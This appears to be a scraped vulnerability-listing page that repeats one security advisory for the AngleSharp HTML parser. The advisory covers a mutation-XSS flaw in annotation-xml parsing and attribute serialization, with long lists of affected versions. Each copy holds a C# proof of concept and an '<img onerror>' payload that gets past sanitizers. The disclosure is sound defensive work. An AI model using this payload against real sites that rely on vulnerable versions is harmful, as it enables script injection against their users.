Unescaped < > in attribute values: HtmlMarkupFormatter.WriteAttributeValue() does not escape < or > characters, only & and ". This allows injected markup to break out of attribute values on re-parse. See Escape "<" and ">" in attributes when serializing HTML #6235

Details

In MathAnnotationXmlElement (AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs):

// Current — HtmlTip is never set
: base(owner, TagNames.AnnotationXml, prefix, NodeFlags.Special | NodeFlags.Scoped)

Because HtmlTip is absent, the token dispatch in Consume() always sends tokens to Foreign() when inside annotation-xml, regardless of the encoding attribute. The compensating check in ForeignNormalTag() only covers tags in AllForeignExceptions and is entirely bypassed during fragment parsing (innerHTML setter) due to an if (!IsFragmentCase) guard.

In HtmlMarkupFormatter.WriteAttributeValue() (AngleSharp/Html/HtmlMarkupFormatter.cs):

// Escapes & " and \u00A0, but NOT < or >
case Symbols.Ampersand:    stringBuilder.Append("&amp;");  break;
case Symbols.NoBreakSpace: stringBuilder.Append("&nbsp;"); break;
case Symbols.DoubleQuote:  stringBuilder.Append("&quot;"); break;
default:                   stringBuilder.Append(value[i]); break; // < and > pass through raw

PoC

The following program demonstrates that AngleSharp’s parser misses the injected <img> element. A sanitizer walking this DOM would see nothing dangerous, yet the serialized output re-parses in a browser as a live <img onerror> trigger.

using System;
using System.Linq;
using AngleSharp.Html.Parser;
			
public class Program
{
    static readonly string Payload1 =
        "<math>" +
        "<annotation-xml encoding=\"text/html\">" +
        "<title><a encoding=\"</title><img src=x onerror=alert()>\">" +
        "</annotation-xml></math>";

    public static void Main()
    {
        var parser = new HtmlParser();

        Check(parser, Payload1, "IMG",
            "AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)",
            "AngleSharp found <img> – SAFE");
    }

    static void Check(HtmlParser parser, string html, string tag,
                      string failMsg, string passMsg)
    {
        var doc     = parser.ParseDocument(html);
        var tags    = doc.All.Select(e => e.TagName).ToHashSet();
        var found   = tags.Contains(tag);

        Console.WriteLine(found ? passMsg : failMsg);
        Console.WriteLine("Serialized output:");
        Console.WriteLine(doc.DocumentElement.OuterHtml);
    }
}

Output:

AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)
Serialized output:
<html><head></head><body><math><annotation-xml encoding="text/html"><title><a encoding="</title><img src=x onerror=alert()>"></a></title></annotation-xml></math></body></html>

The title tag may be swapped out for style and other RCDATA elements.

When a browser receives this string and parses annotation-xml encoding="text/html" as an HTML integration point, the </title> closes the title element and the <img> fires its onerror handler.

Impact

Implemented HTML sanitizers that depend and trust AngleSharp's ability to parse HTML correctly may be bypassable, as AngleSharp fails to acknowledge certain vectors under certain conditions.

This reduces AngleSharp's credibility as a conformant HTML parser.

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.12.1


          0.13.0


          0.13.0-alpha-733


          0.13.0-alpha-734


          0.13.0-alpha-735


          0.13.0-alpha-737


          0.13.0-alpha-739


          0.13.0-alpha-742

+ 227 more


            0.13.0-alpha-743


            0.13.0-alpha-744


            0.13.0-alpha-745


            0.13.0-alpha-748


            0.13.0-alpha-754


            0.13.0-alpha-756


            0.13.0-alpha-758


            0.13.0-alpha-760


            0.13.0-alpha-763


            0.13.0-alpha-764


            0.13.0-alpha-766


            0.13.0-alpha-768


            0.13.0-alpha-771


            0.13.0-alpha-775


            0.13.0-alpha-782


            0.14.0


            0.14.0-alpha-783


            0.14.0-alpha-784


            0.14.0-alpha-787


            0.14.0-alpha-788


            0.14.0-alpha-789


            0.14.0-alpha-790


            0.14.0-alpha-793


            0.14.0-alpha-794


            0.14.0-alpha-796


            0.14.0-alpha-798


            0.14.0-alpha-801


            0.14.0-alpha-802


            0.14.0-alpha-803


            0.14.0-alpha-805


            0.14.0-alpha-809


            0.14.0-alpha-811


            0.14.0-alpha-813


            0.14.0-alpha-817


            0.14.0-alpha-818


            0.15.0


            0.15.0-alpha-14


            0.16.0


            0.16.0-alpha-72


            0.16.0-alpha-75


            0.16.0-alpha-76


            0.16.0-alpha-77


            0.16.0-alpha-78


            0.16.0-alpha-79


            0.16.0-alpha-80


            0.16.0-alpha-84


            0.16.0-alpha-85


            0.16.0-alpha-86


            0.16.1


            0.16.1-alpha-104


            0.16.1-alpha-106


            0.16.1-alpha-108


            0.16.1-alpha-110


            0.16.1-alpha-112


            0.16.1-alpha-114


            0.16.1-alpha-120


            0.16.1-alpha-125


            0.16.1-alpha-127


            0.16.1-alpha-133


            0.16.1-alpha-144


            0.16.1-alpha-145


            0.16.1-alpha-148


            0.16.1-alpha-152


            0.16.1-alpha-153


            0.16.1-alpha-155


            0.16.1-alpha-167


            0.16.1-alpha-168


            0.16.1-alpha-91


            0.16.1-alpha-96


            0.16.1-alpha-99


            0.17.0


            0.17.0-alpha-169


            0.17.0-alpha-170


            0.17.0-alpha-171


            0.17.0-alpha-172


            0.17.0-alpha-173


            0.17.0-alpha-174


            0.17.0-alpha-177


            0.17.1


            0.17.1-alpha-178


            0.17.1-alpha-179


            0.2.0


            0.2.1


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.3.7


            0.4.0


            0.5.0


            0.5.1


            0.6.0


            0.6.1


            0.7.0


            0.8.0


            0.8.1


            0.8.2


            0.8.3


            0.8.4


            0.8.4.1


            0.8.5


            0.8.6


            0.8.7


            0.8.7.1


            0.8.8


            0.8.9


            0.9.0


            0.9.1


            0.9.10


            0.9.11


            0.9.2


            0.9.3


            0.9.4


            0.9.5


            0.9.6


            0.9.7


            0.9.8


            0.9.8.1


            0.9.9


            0.9.9.1


            0.9.9.2


            1.0.0


            1.0.0-alpha-1


            1.0.0-alpha-10


            1.0.0-alpha-12


            1.0.0-alpha-17


            1.0.0-alpha-20


            1.0.0-alpha-21


            1.0.0-alpha-229


            1.0.0-alpha-231


            1.0.0-alpha-25


            1.0.0-alpha-27


            1.0.0-alpha-31


            1.0.0-alpha-33


            1.0.0-alpha-36


            1.0.0-alpha-38


            1.0.0-alpha-4


            1.0.0-alpha-41


            1.0.0-alpha-47


            1.0.0-alpha-49


            1.0.0-alpha-59


            1.0.0-alpha-63


            1.0.0-alpha-64


            1.0.0-alpha-65


            1.0.0-alpha-68


            1.0.0-alpha-7


            1.0.0-alpha-70


            1.0.0-alpha-71


            1.0.0-alpha-819


            1.0.0-alpha-822


            1.0.0-alpha-825


            1.0.0-alpha-827


            1.0.0-alpha-842


            1.0.0-alpha-844


            1.0.0-ci-228


            1.0.1


            1.0.1-alpha-235


            1.0.1-alpha-241


            1.0.1-alpha-242


            1.0.1-alpha-243


            1.0.1-alpha-248


            1.0.2


            1.0.2-alpha-249


            1.0.2-alpha-250


            1.0.2-alpha-251


            1.0.2-alpha-255


            1.0.2-alpha-257


            1.0.2-alpha-258


            1.0.2-alpha-261


            1.0.2-alpha-273


            1.0.2-alpha-274


            1.0.2-alpha-275


            1.0.2-alpha-276


            1.0.2-alpha-277


            1.0.2-alpha-278


            1.0.2-alpha-281


            1.0.2-alpha-282


            1.0.2-alpha-283


            1.0.2-alpha-284


            1.0.3


            1.0.3-alpha-287


            1.0.4


            1.0.4-alpha-289


            1.0.4-alpha-290


            1.0.4-alpha-298


            1.0.4-alpha-300


            1.0.4-alpha-301


            1.0.4-alpha-307


            1.0.4-alpha-311


            1.0.4-alpha-314


            1.0.4-alpha-316


            1.0.5


            1.0.5-alpha-317


            1.0.6


            1.0.6-alpha-321


            1.0.6-alpha-325


            1.0.6-alpha-328


            1.0.6-alpha-330


            1.0.6-alpha-331


            1.0.6-alpha-339


            1.0.6-alpha-341


            1.0.7


            1.0.7-alpha-342


            1.1.0


            1.1.0-alpha-374


            1.1.0-alpha-375


            1.1.0-alpha-376


            1.1.0-alpha-377


            1.1.0-alpha-378


            1.1.0-alpha-379


            1.1.1


            1.1.2


            1.2.0


            1.3.0


            1.3.1


            1.4.0

Fixed in


          1.5.0

References

Updated Jul 17, 2026 · Source: OSV.dev

Nov 12, 2025

1.4.0-beta.496 pre

1 CVE

CVE-2026-54570 GHSA-pgww-w46g-26qg Jul 17, 2026

AngleSharp HTML5 Spec Compliance: mXSS via annotation-xml HTML Integration Point Bypass

6.9 / 10

Medium

Network High None Required Changed Low High None

Summary

The HTML specification requires that a MathML <annotation-xml> element with encoding="text/html" or encoding="application/xhtml+xml" is treated as an HTML integration point. Content inside it must be parsed as HTML, not MathML.

AngleSharp does not implement this correctly. As a result, the parser produces a DOM tree that differs from what a browser will build (different namespaces if encoding="text/html" is not treated) when given the same serialized output. Two bugs combine to make this exploitable:

Missing HtmlTip flag: MathAnnotationXmlElement is never assigned NodeFlags.HtmlTip based on its encoding attribute, so the Consume() dispatch always routes tokens to Foreign() instead of Home() (HTML mode).
Unescaped < > in attribute values: HtmlMarkupFormatter.WriteAttributeValue() does not escape < or > characters, only & and ". This allows injected markup to break out of attribute values on re-parse. See Escape "<" and ">" in attributes when serializing HTML #6235

Details

In MathAnnotationXmlElement (AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs):

// Current — HtmlTip is never set
: base(owner, TagNames.AnnotationXml, prefix, NodeFlags.Special | NodeFlags.Scoped)

Because HtmlTip is absent, the token dispatch in Consume() always sends tokens to Foreign() when inside annotation-xml, regardless of the encoding attribute. The compensating check in ForeignNormalTag() only covers tags in AllForeignExceptions and is entirely bypassed during fragment parsing (innerHTML setter) due to an if (!IsFragmentCase) guard.

In HtmlMarkupFormatter.WriteAttributeValue() (AngleSharp/Html/HtmlMarkupFormatter.cs):

// Escapes & " and \u00A0, but NOT < or >
case Symbols.Ampersand:    stringBuilder.Append("&amp;");  break;
case Symbols.NoBreakSpace: stringBuilder.Append("&nbsp;"); break;
case Symbols.DoubleQuote:  stringBuilder.Append("&quot;"); break;
default:                   stringBuilder.Append(value[i]); break; // < and > pass through raw

PoC

The following program demonstrates that AngleSharp’s parser misses the injected <img> element. A sanitizer walking this DOM would see nothing dangerous, yet the serialized output re-parses in a browser as a live <img onerror> trigger.

using System;
using System.Linq;
using AngleSharp.Html.Parser;
			
public class Program
{
    static readonly string Payload1 =
        "<math>" +
        "<annotation-xml encoding=\"text/html\">" +
        "<title><a encoding=\"</title><img src=x onerror=alert()>\">" +
        "</annotation-xml></math>";

    public static void Main()
    {
        var parser = new HtmlParser();

        Check(parser, Payload1, "IMG",
            "AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)",
            "AngleSharp found <img> – SAFE");
    }

    static void Check(HtmlParser parser, string html, string tag,
                      string failMsg, string passMsg)
    {
        var doc     = parser.ParseDocument(html);
        var tags    = doc.All.Select(e => e.TagName).ToHashSet();
        var found   = tags.Contains(tag);

        Console.WriteLine(found ? passMsg : failMsg);
        Console.WriteLine("Serialized output:");
        Console.WriteLine(doc.DocumentElement.OuterHtml);
    }
}

Output:

AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)
Serialized output:
<html><head></head><body><math><annotation-xml encoding="text/html"><title><a encoding="</title><img src=x onerror=alert()>"></a></title></annotation-xml></math></body></html>

The title tag may be swapped out for style and other RCDATA elements.

When a browser receives this string and parses annotation-xml encoding="text/html" as an HTML integration point, the </title> closes the title element and the <img> fires its onerror handler.

Impact

Implemented HTML sanitizers that depend and trust AngleSharp's ability to parse HTML correctly may be bypassable, as AngleSharp fails to acknowledge certain vectors under certain conditions.

This reduces AngleSharp's credibility as a conformant HTML parser.

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.12.1


          0.13.0


          0.13.0-alpha-733


          0.13.0-alpha-734


          0.13.0-alpha-735


          0.13.0-alpha-737


          0.13.0-alpha-739


          0.13.0-alpha-742

+ 227 more


            0.13.0-alpha-743


            0.13.0-alpha-744


            0.13.0-alpha-745


            0.13.0-alpha-748


            0.13.0-alpha-754


            0.13.0-alpha-756


            0.13.0-alpha-758


            0.13.0-alpha-760


            0.13.0-alpha-763


            0.13.0-alpha-764


            0.13.0-alpha-766


            0.13.0-alpha-768


            0.13.0-alpha-771


            0.13.0-alpha-775


            0.13.0-alpha-782


            0.14.0


            0.14.0-alpha-783


            0.14.0-alpha-784


            0.14.0-alpha-787


            0.14.0-alpha-788


            0.14.0-alpha-789


            0.14.0-alpha-790


            0.14.0-alpha-793


            0.14.0-alpha-794


            0.14.0-alpha-796


            0.14.0-alpha-798


            0.14.0-alpha-801


            0.14.0-alpha-802


            0.14.0-alpha-803


            0.14.0-alpha-805


            0.14.0-alpha-809


            0.14.0-alpha-811


            0.14.0-alpha-813


            0.14.0-alpha-817


            0.14.0-alpha-818


            0.15.0


            0.15.0-alpha-14


            0.16.0


            0.16.0-alpha-72


            0.16.0-alpha-75


            0.16.0-alpha-76


            0.16.0-alpha-77


            0.16.0-alpha-78


            0.16.0-alpha-79


            0.16.0-alpha-80


            0.16.0-alpha-84


            0.16.0-alpha-85


            0.16.0-alpha-86


            0.16.1


            0.16.1-alpha-104


            0.16.1-alpha-106


            0.16.1-alpha-108


            0.16.1-alpha-110


            0.16.1-alpha-112


            0.16.1-alpha-114


            0.16.1-alpha-120


            0.16.1-alpha-125


            0.16.1-alpha-127


            0.16.1-alpha-133


            0.16.1-alpha-144


            0.16.1-alpha-145


            0.16.1-alpha-148


            0.16.1-alpha-152


            0.16.1-alpha-153


            0.16.1-alpha-155


            0.16.1-alpha-167


            0.16.1-alpha-168


            0.16.1-alpha-91


            0.16.1-alpha-96


            0.16.1-alpha-99


            0.17.0


            0.17.0-alpha-169


            0.17.0-alpha-170


            0.17.0-alpha-171


            0.17.0-alpha-172


            0.17.0-alpha-173


            0.17.0-alpha-174


            0.17.0-alpha-177


            0.17.1


            0.17.1-alpha-178


            0.17.1-alpha-179


            0.2.0


            0.2.1


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.3.7


            0.4.0


            0.5.0


            0.5.1


            0.6.0


            0.6.1


            0.7.0


            0.8.0


            0.8.1


            0.8.2


            0.8.3


            0.8.4


            0.8.4.1


            0.8.5


            0.8.6


            0.8.7


            0.8.7.1


            0.8.8


            0.8.9


            0.9.0


            0.9.1


            0.9.10


            0.9.11


            0.9.2


            0.9.3


            0.9.4


            0.9.5


            0.9.6


            0.9.7


            0.9.8


            0.9.8.1


            0.9.9


            0.9.9.1


            0.9.9.2


            1.0.0


            1.0.0-alpha-1


            1.0.0-alpha-10


            1.0.0-alpha-12


            1.0.0-alpha-17


            1.0.0-alpha-20


            1.0.0-alpha-21


            1.0.0-alpha-229


            1.0.0-alpha-231


            1.0.0-alpha-25


            1.0.0-alpha-27


            1.0.0-alpha-31


            1.0.0-alpha-33


            1.0.0-alpha-36


            1.0.0-alpha-38


            1.0.0-alpha-4


            1.0.0-alpha-41


            1.0.0-alpha-47


            1.0.0-alpha-49


            1.0.0-alpha-59


            1.0.0-alpha-63


            1.0.0-alpha-64


            1.0.0-alpha-65


            1.0.0-alpha-68


            1.0.0-alpha-7


            1.0.0-alpha-70


            1.0.0-alpha-71


            1.0.0-alpha-819


            1.0.0-alpha-822


            1.0.0-alpha-825


            1.0.0-alpha-827


            1.0.0-alpha-842


            1.0.0-alpha-844


            1.0.0-ci-228


            1.0.1


            1.0.1-alpha-235


            1.0.1-alpha-241


            1.0.1-alpha-242


            1.0.1-alpha-243


            1.0.1-alpha-248


            1.0.2


            1.0.2-alpha-249


            1.0.2-alpha-250


            1.0.2-alpha-251


            1.0.2-alpha-255


            1.0.2-alpha-257


            1.0.2-alpha-258


            1.0.2-alpha-261


            1.0.2-alpha-273


            1.0.2-alpha-274


            1.0.2-alpha-275


            1.0.2-alpha-276


            1.0.2-alpha-277


            1.0.2-alpha-278


            1.0.2-alpha-281


            1.0.2-alpha-282


            1.0.2-alpha-283


            1.0.2-alpha-284


            1.0.3


            1.0.3-alpha-287


            1.0.4


            1.0.4-alpha-289


            1.0.4-alpha-290


            1.0.4-alpha-298


            1.0.4-alpha-300


            1.0.4-alpha-301


            1.0.4-alpha-307


            1.0.4-alpha-311


            1.0.4-alpha-314


            1.0.4-alpha-316


            1.0.5


            1.0.5-alpha-317


            1.0.6


            1.0.6-alpha-321


            1.0.6-alpha-325


            1.0.6-alpha-328


            1.0.6-alpha-330


            1.0.6-alpha-331


            1.0.6-alpha-339


            1.0.6-alpha-341


            1.0.7


            1.0.7-alpha-342


            1.1.0


            1.1.0-alpha-374


            1.1.0-alpha-375


            1.1.0-alpha-376


            1.1.0-alpha-377


            1.1.0-alpha-378


            1.1.0-alpha-379


            1.1.1


            1.1.2


            1.2.0


            1.3.0


            1.3.1


            1.4.0

Fixed in


          1.5.0

References

Updated Jul 17, 2026 · Source: OSV.dev

Nov 10, 2025

1.4.0-beta.495 pre

1 CVE

CVE-2026-54570 GHSA-pgww-w46g-26qg Jul 17, 2026

AngleSharp HTML5 Spec Compliance: mXSS via annotation-xml HTML Integration Point Bypass

6.9 / 10

Medium

Network High None Required Changed Low High None

Summary

The HTML specification requires that a MathML <annotation-xml> element with encoding="text/html" or encoding="application/xhtml+xml" is treated as an HTML integration point. Content inside it must be parsed as HTML, not MathML.

AngleSharp does not implement this correctly. As a result, the parser produces a DOM tree that differs from what a browser will build (different namespaces if encoding="text/html" is not treated) when given the same serialized output. Two bugs combine to make this exploitable:

Missing HtmlTip flag: MathAnnotationXmlElement is never assigned NodeFlags.HtmlTip based on its encoding attribute, so the Consume() dispatch always routes tokens to Foreign() instead of Home() (HTML mode).
Unescaped < > in attribute values: HtmlMarkupFormatter.WriteAttributeValue() does not escape < or > characters, only & and ". This allows injected markup to break out of attribute values on re-parse. See Escape "<" and ">" in attributes when serializing HTML #6235

Details

In MathAnnotationXmlElement (AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs):

// Current — HtmlTip is never set
: base(owner, TagNames.AnnotationXml, prefix, NodeFlags.Special | NodeFlags.Scoped)

Because HtmlTip is absent, the token dispatch in Consume() always sends tokens to Foreign() when inside annotation-xml, regardless of the encoding attribute. The compensating check in ForeignNormalTag() only covers tags in AllForeignExceptions and is entirely bypassed during fragment parsing (innerHTML setter) due to an if (!IsFragmentCase) guard.

In HtmlMarkupFormatter.WriteAttributeValue() (AngleSharp/Html/HtmlMarkupFormatter.cs):

// Escapes & " and \u00A0, but NOT < or >
case Symbols.Ampersand:    stringBuilder.Append("&amp;");  break;
case Symbols.NoBreakSpace: stringBuilder.Append("&nbsp;"); break;
case Symbols.DoubleQuote:  stringBuilder.Append("&quot;"); break;
default:                   stringBuilder.Append(value[i]); break; // < and > pass through raw

PoC

The following program demonstrates that AngleSharp’s parser misses the injected <img> element. A sanitizer walking this DOM would see nothing dangerous, yet the serialized output re-parses in a browser as a live <img onerror> trigger.

using System;
using System.Linq;
using AngleSharp.Html.Parser;
			
public class Program
{
    static readonly string Payload1 =
        "<math>" +
        "<annotation-xml encoding=\"text/html\">" +
        "<title><a encoding=\"</title><img src=x onerror=alert()>\">" +
        "</annotation-xml></math>";

    public static void Main()
    {
        var parser = new HtmlParser();

        Check(parser, Payload1, "IMG",
            "AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)",
            "AngleSharp found <img> – SAFE");
    }

    static void Check(HtmlParser parser, string html, string tag,
                      string failMsg, string passMsg)
    {
        var doc     = parser.ParseDocument(html);
        var tags    = doc.All.Select(e => e.TagName).ToHashSet();
        var found   = tags.Contains(tag);

        Console.WriteLine(found ? passMsg : failMsg);
        Console.WriteLine("Serialized output:");
        Console.WriteLine(doc.DocumentElement.OuterHtml);
    }
}

Output:

AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)
Serialized output:
<html><head></head><body><math><annotation-xml encoding="text/html"><title><a encoding="</title><img src=x onerror=alert()>"></a></title></annotation-xml></math></body></html>

The title tag may be swapped out for style and other RCDATA elements.

When a browser receives this string and parses annotation-xml encoding="text/html" as an HTML integration point, the </title> closes the title element and the <img> fires its onerror handler.

Impact

Implemented HTML sanitizers that depend and trust AngleSharp's ability to parse HTML correctly may be bypassable, as AngleSharp fails to acknowledge certain vectors under certain conditions.

This reduces AngleSharp's credibility as a conformant HTML parser.

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.12.1


          0.13.0


          0.13.0-alpha-733


          0.13.0-alpha-734


          0.13.0-alpha-735


          0.13.0-alpha-737


          0.13.0-alpha-739


          0.13.0-alpha-742

+ 227 more


            0.13.0-alpha-743


            0.13.0-alpha-744


            0.13.0-alpha-745


            0.13.0-alpha-748


            0.13.0-alpha-754


            0.13.0-alpha-756


            0.13.0-alpha-758


            0.13.0-alpha-760


            0.13.0-alpha-763


            0.13.0-alpha-764


            0.13.0-alpha-766


            0.13.0-alpha-768


            0.13.0-alpha-771


            0.13.0-alpha-775


            0.13.0-alpha-782


            0.14.0


            0.14.0-alpha-783


            0.14.0-alpha-784


            0.14.0-alpha-787


            0.14.0-alpha-788


            0.14.0-alpha-789


            0.14.0-alpha-790


            0.14.0-alpha-793


            0.14.0-alpha-794


            0.14.0-alpha-796


            0.14.0-alpha-798


            0.14.0-alpha-801


            0.14.0-alpha-802


            0.14.0-alpha-803


            0.14.0-alpha-805


            0.14.0-alpha-809


            0.14.0-alpha-811


            0.14.0-alpha-813


            0.14.0-alpha-817


            0.14.0-alpha-818


            0.15.0


            0.15.0-alpha-14


            0.16.0


            0.16.0-alpha-72


            0.16.0-alpha-75


            0.16.0-alpha-76


            0.16.0-alpha-77


            0.16.0-alpha-78


            0.16.0-alpha-79


            0.16.0-alpha-80


            0.16.0-alpha-84


            0.16.0-alpha-85


            0.16.0-alpha-86


            0.16.1


            0.16.1-alpha-104


            0.16.1-alpha-106


            0.16.1-alpha-108


            0.16.1-alpha-110


            0.16.1-alpha-112


            0.16.1-alpha-114


            0.16.1-alpha-120


            0.16.1-alpha-125


            0.16.1-alpha-127


            0.16.1-alpha-133


            0.16.1-alpha-144


            0.16.1-alpha-145


            0.16.1-alpha-148


            0.16.1-alpha-152


            0.16.1-alpha-153


            0.16.1-alpha-155


            0.16.1-alpha-167


            0.16.1-alpha-168


            0.16.1-alpha-91


            0.16.1-alpha-96


            0.16.1-alpha-99


            0.17.0


            0.17.0-alpha-169


            0.17.0-alpha-170


            0.17.0-alpha-171


            0.17.0-alpha-172


            0.17.0-alpha-173


            0.17.0-alpha-174


            0.17.0-alpha-177


            0.17.1


            0.17.1-alpha-178


            0.17.1-alpha-179


            0.2.0


            0.2.1


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.3.7


            0.4.0


            0.5.0


            0.5.1


            0.6.0


            0.6.1


            0.7.0


            0.8.0


            0.8.1


            0.8.2


            0.8.3


            0.8.4


            0.8.4.1


            0.8.5


            0.8.6


            0.8.7


            0.8.7.1


            0.8.8


            0.8.9


            0.9.0


            0.9.1


            0.9.10


            0.9.11


            0.9.2


            0.9.3


            0.9.4


            0.9.5


            0.9.6


            0.9.7


            0.9.8


            0.9.8.1


            0.9.9


            0.9.9.1


            0.9.9.2


            1.0.0


            1.0.0-alpha-1


            1.0.0-alpha-10


            1.0.0-alpha-12


            1.0.0-alpha-17


            1.0.0-alpha-20


            1.0.0-alpha-21


            1.0.0-alpha-229


            1.0.0-alpha-231


            1.0.0-alpha-25


            1.0.0-alpha-27


            1.0.0-alpha-31


            1.0.0-alpha-33


            1.0.0-alpha-36


            1.0.0-alpha-38


            1.0.0-alpha-4


            1.0.0-alpha-41


            1.0.0-alpha-47


            1.0.0-alpha-49


            1.0.0-alpha-59


            1.0.0-alpha-63


            1.0.0-alpha-64


            1.0.0-alpha-65


            1.0.0-alpha-68


            1.0.0-alpha-7


            1.0.0-alpha-70


            1.0.0-alpha-71


            1.0.0-alpha-819


            1.0.0-alpha-822


            1.0.0-alpha-825


            1.0.0-alpha-827


            1.0.0-alpha-842


            1.0.0-alpha-844


            1.0.0-ci-228


            1.0.1


            1.0.1-alpha-235


            1.0.1-alpha-241


            1.0.1-alpha-242


            1.0.1-alpha-243


            1.0.1-alpha-248


            1.0.2


            1.0.2-alpha-249


            1.0.2-alpha-250


            1.0.2-alpha-251


            1.0.2-alpha-255


            1.0.2-alpha-257


            1.0.2-alpha-258


            1.0.2-alpha-261


            1.0.2-alpha-273


            1.0.2-alpha-274


            1.0.2-alpha-275


            1.0.2-alpha-276


            1.0.2-alpha-277


            1.0.2-alpha-278


            1.0.2-alpha-281


            1.0.2-alpha-282


            1.0.2-alpha-283


            1.0.2-alpha-284


            1.0.3


            1.0.3-alpha-287


            1.0.4


            1.0.4-alpha-289


            1.0.4-alpha-290


            1.0.4-alpha-298


            1.0.4-alpha-300


            1.0.4-alpha-301


            1.0.4-alpha-307


            1.0.4-alpha-311


            1.0.4-alpha-314


            1.0.4-alpha-316


            1.0.5


            1.0.5-alpha-317


            1.0.6


            1.0.6-alpha-321


            1.0.6-alpha-325


            1.0.6-alpha-328


            1.0.6-alpha-330


            1.0.6-alpha-331


            1.0.6-alpha-339


            1.0.6-alpha-341


            1.0.7


            1.0.7-alpha-342


            1.1.0


            1.1.0-alpha-374


            1.1.0-alpha-375


            1.1.0-alpha-376


            1.1.0-alpha-377


            1.1.0-alpha-378


            1.1.0-alpha-379


            1.1.1


            1.1.2


            1.2.0


            1.3.0


            1.3.1


            1.4.0

Fixed in


          1.5.0

References

Updated Jul 17, 2026 · Source: OSV.dev

Nov 09, 2025

1.4.0-beta.493 pre

1 CVE

CVE-2026-54570 GHSA-pgww-w46g-26qg Jul 17, 2026

AngleSharp HTML5 Spec Compliance: mXSS via annotation-xml HTML Integration Point Bypass

6.9 / 10

Medium

Network High None Required Changed Low High None

Summary

The HTML specification requires that a MathML <annotation-xml> element with encoding="text/html" or encoding="application/xhtml+xml" is treated as an HTML integration point. Content inside it must be parsed as HTML, not MathML.

AngleSharp does not implement this correctly. As a result, the parser produces a DOM tree that differs from what a browser will build (different namespaces if encoding="text/html" is not treated) when given the same serialized output. Two bugs combine to make this exploitable:

Missing HtmlTip flag: MathAnnotationXmlElement is never assigned NodeFlags.HtmlTip based on its encoding attribute, so the Consume() dispatch always routes tokens to Foreign() instead of Home() (HTML mode).
Unescaped < > in attribute values: HtmlMarkupFormatter.WriteAttributeValue() does not escape < or > characters, only & and ". This allows injected markup to break out of attribute values on re-parse. See Escape "<" and ">" in attributes when serializing HTML #6235

Details

In MathAnnotationXmlElement (AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs):

// Current — HtmlTip is never set
: base(owner, TagNames.AnnotationXml, prefix, NodeFlags.Special | NodeFlags.Scoped)

Because HtmlTip is absent, the token dispatch in Consume() always sends tokens to Foreign() when inside annotation-xml, regardless of the encoding attribute. The compensating check in ForeignNormalTag() only covers tags in AllForeignExceptions and is entirely bypassed during fragment parsing (innerHTML setter) due to an if (!IsFragmentCase) guard.

In HtmlMarkupFormatter.WriteAttributeValue() (AngleSharp/Html/HtmlMarkupFormatter.cs):

// Escapes & " and \u00A0, but NOT < or >
case Symbols.Ampersand:    stringBuilder.Append("&amp;");  break;
case Symbols.NoBreakSpace: stringBuilder.Append("&nbsp;"); break;
case Symbols.DoubleQuote:  stringBuilder.Append("&quot;"); break;
default:                   stringBuilder.Append(value[i]); break; // < and > pass through raw

PoC

The following program demonstrates that AngleSharp’s parser misses the injected <img> element. A sanitizer walking this DOM would see nothing dangerous, yet the serialized output re-parses in a browser as a live <img onerror> trigger.

using System;
using System.Linq;
using AngleSharp.Html.Parser;
			
public class Program
{
    static readonly string Payload1 =
        "<math>" +
        "<annotation-xml encoding=\"text/html\">" +
        "<title><a encoding=\"</title><img src=x onerror=alert()>\">" +
        "</annotation-xml></math>";

    public static void Main()
    {
        var parser = new HtmlParser();

        Check(parser, Payload1, "IMG",
            "AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)",
            "AngleSharp found <img> – SAFE");
    }

    static void Check(HtmlParser parser, string html, string tag,
                      string failMsg, string passMsg)
    {
        var doc     = parser.ParseDocument(html);
        var tags    = doc.All.Select(e => e.TagName).ToHashSet();
        var found   = tags.Contains(tag);

        Console.WriteLine(found ? passMsg : failMsg);
        Console.WriteLine("Serialized output:");
        Console.WriteLine(doc.DocumentElement.OuterHtml);
    }
}

Output:

AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)
Serialized output:
<html><head></head><body><math><annotation-xml encoding="text/html"><title><a encoding="</title><img src=x onerror=alert()>"></a></title></annotation-xml></math></body></html>

The title tag may be swapped out for style and other RCDATA elements.

When a browser receives this string and parses annotation-xml encoding="text/html" as an HTML integration point, the </title> closes the title element and the <img> fires its onerror handler.

Impact

Implemented HTML sanitizers that depend and trust AngleSharp's ability to parse HTML correctly may be bypassable, as AngleSharp fails to acknowledge certain vectors under certain conditions.

This reduces AngleSharp's credibility as a conformant HTML parser.

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.12.1


          0.13.0


          0.13.0-alpha-733


          0.13.0-alpha-734


          0.13.0-alpha-735


          0.13.0-alpha-737


          0.13.0-alpha-739


          0.13.0-alpha-742

+ 227 more


            0.13.0-alpha-743


            0.13.0-alpha-744


            0.13.0-alpha-745


            0.13.0-alpha-748


            0.13.0-alpha-754


            0.13.0-alpha-756


            0.13.0-alpha-758


            0.13.0-alpha-760


            0.13.0-alpha-763


            0.13.0-alpha-764


            0.13.0-alpha-766


            0.13.0-alpha-768


            0.13.0-alpha-771


            0.13.0-alpha-775


            0.13.0-alpha-782


            0.14.0


            0.14.0-alpha-783


            0.14.0-alpha-784


            0.14.0-alpha-787


